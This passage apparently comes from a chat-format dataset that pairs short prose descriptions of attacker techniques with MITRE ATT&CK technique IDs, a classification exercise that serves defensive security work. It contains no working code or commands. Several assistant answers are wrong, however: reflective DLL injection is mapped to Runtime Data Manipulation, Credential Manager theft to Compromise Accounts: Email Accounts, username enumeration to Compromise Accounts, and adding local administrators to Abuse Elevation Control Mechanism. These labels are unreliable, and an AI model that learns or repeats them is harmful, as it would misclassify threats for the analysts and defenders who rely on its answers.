                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with NTP packets to skew system clocks, affecting time‑sensitive security mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious firmware was installed via a malicious update package that silently modified the embedded controller's firmware."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware falls back to using a peer-to-peer overlay network for instruction delivery if the main server is unavailable."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses port forwarding on a NAT gateway to tunnel malicious payloads into the internal network."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor accessed a cloud-hosted virtual machine by abusing weak IAM credentials and deployed cryptocurrency mining software."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker retrieved Apache web server configuration files (httpd.conf) from the server's config directory and sent them to an external IP."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes a software packing tool that obfuscates the binary and inflates its size to evade static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses base64 encoding to conceal command strings in configuration files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a custom web service that only receives data, allowing them to exfiltrate logs and credentials without opening a reverse connection."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on a victim's machine captured saved mail client credentials from the Windows Credential Manager and exfiltrated them to the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves creating files with a space after the name, causing Windows Explorer to truncate the space and hide the true file type."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware first executes a lightweight loader that connects to a remote host, which then delivers a larger, more capable backdoor in a subsequent request."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed the container runtime API and issued administrative commands to start and stop containers remotely."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the threat actor uses Linux dmidecode to gather detailed firmware information from the victim host."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a reverse TCP shell to a remote server over port 4444."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant obfuscates its network traffic by applying a simple substitution cipher to the data payload."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An incident response report notes that attackers harvested credentials from Slack channels where developers posted service account keys."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built‑in Windows tool reg.exe, the threat actor extracts the SAM database to obtain password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the threat actor removes all .dll files they dropped on the system to hide their presence."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy malware variant identifies a low-privilege process, opens its handle, and then performs thread injection to execute code under that process's context."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages legitimate shared folder permissions to gather intellectual property for theft."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the macOS system firmware binary with a tampered version to maintain control over the device."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant uses port 3389, normally used for RDP, to receive encryption keys from the operator."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a malicious COM object that registers itself in the registry and is later instantiated by a trusted system process to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing email delivers a payload that logs into the victim’s Gmail via OAuth and downloads messages."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A seemingly innocuous online game hosts a hidden exploit that silently installs a backdoor on any client that loads the game page."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group compromises a third‑party library used by a desktop application, inserting malicious code into the final binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script reads the /etc/passwd file to enumerate usernames and then accesses /etc/shadow to dump hashed passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the LC_LOAD_DYLIB addition technique, the attacker triggers execution of arbitrary code when the compromised binary is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By intercepting the SSH traffic, the adversary injects commands into the current session, effectively hijacking it."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a VPS through a vulnerable web framework, the attacker deploys a file‑less malware that leverages the server for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deletes critical configuration files and system binaries to cause a complete system failure."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a signed kernel driver that runs in kernel mode, hides its processes, and provides the attacker with persistent system-level control."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use compromised remote services to upload a backdoor payload into the target environment."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a legitimate system utility to spawn a new process that runs malicious commands on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Mimikatz tool, the intruder steals a user’s Kerberos tickets and replays them to bypass authentication controls."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware attack involves encrypting files and demanding ransom in exchange for the decryption key, during which the attackers use the time to escalate their privileges on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a malicious PowerShell script to compromise an Exchange server and harvest email data."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages open source intelligence tools to search for technical specifications posted on vendor support sites."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a benign process by terminating its original code segment and loading malicious modules into the same PID, effectively hollowing the process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits the router's NAT configuration to route malicious traffic through the network perimeter."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group exploits a zero‑day browser vulnerability on a compromised forum, delivering a stealthy information‑stealer via a drive‑by attack to users who simply read the thread."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the attacker runs a cleanup routine that deletes evidence files and clears event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exploits the MQTT protocol, tunneling its data over IoT device telemetry to blend in with normal device communications."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a Python script that uses the pyobjc library to interface with Keychain services and pull stored secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a services registry permissions flaw to gain write access, then modifies the service's startup parameters to launch a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a folder named \"Program Files (x86)\" and places a Trojan executable there, exploiting the unquoted file path to hijack the execution flow of a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a tool that sets up a port forwarding rule on the firewall, exposing internal services to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages compromised OAuth refresh tokens to generate new access tokens for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses a console connection to inject malicious code into the pre‑OS bootloader of a switch, modifying the ROMMON environment variables."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker forges a Kerberos ticket (Golden Ticket) by abusing the KRBTGT account hash to gain domain admin privileges."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential harvesting tool captures keystrokes from all active windows and stores the keystroke logs in %APPDATA%\\logs."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a directory enumeration technique to discover valid usernames before launching credential attacks."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs git archive on a compromised host to create a tarball of the repository’s HEAD and transfers it via FTP."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses reflective DLL injection to load a malicious module directly into the memory space of a trusted process."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised advertising network delivered a malicious script that performed a drive‑by compromise, silently installing a botnet client on visitors' computers."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses brute-force attacks against RDP services to guess valid usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker embeds a hidden Windows executable within a crafted GIF file that runs automatically when the image is previewed in a vulnerable web browser plugin."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages TLS (Thread Local Storage) slots to inject a payload into a running legitimate application, allowing the code to run with the host's privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a dedicated server and configure it as a reverse proxy for their C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting Regsvr32's /u and /n switches, the attacker executed a hidden scriptlet that performed data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs a boot-time utility that overwrites the MBR and GPT, effectively wiping the disk structure."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion on the domain controller results in the manipulation of the authentication policy, permitting pass-the-ticket attacks at scale."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using search engines, the threat group gathers CDN-associated URLs to map the target's external footprint and possible entry points."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker phishes the Azure AD administrator's credentials and uses the stolen token to create new privileged service principals in the tenant."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the adversary disables monitoring alerts on cloud compute resources, facilitating stealthy operations."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT manipulates cloud storage object metadata to hide exfiltrated data from monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests local system files such as browser history and configuration files before sending them out."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses VNC to remotely control compromised Windows hosts, establishing a persistent backdoor."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account is used to add the attacker to the local Administrators group on multiple machines."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a driver that continuously captures webcam video and uploads the clips to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker cross-references social media check‑ins with public land records to pinpoint the headquarters of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised service account to set up an automatic forward of all incoming corporate emails to their own mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During its infection chain, the malware performs a ListPlanting injection by locating a high‑privilege process and writing malicious code into its thread list."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker crafts a domain account with a name that mimics a legitimate service account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor added a custom transport agent to the Exchange server to intercept and modify email messages before delivery."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
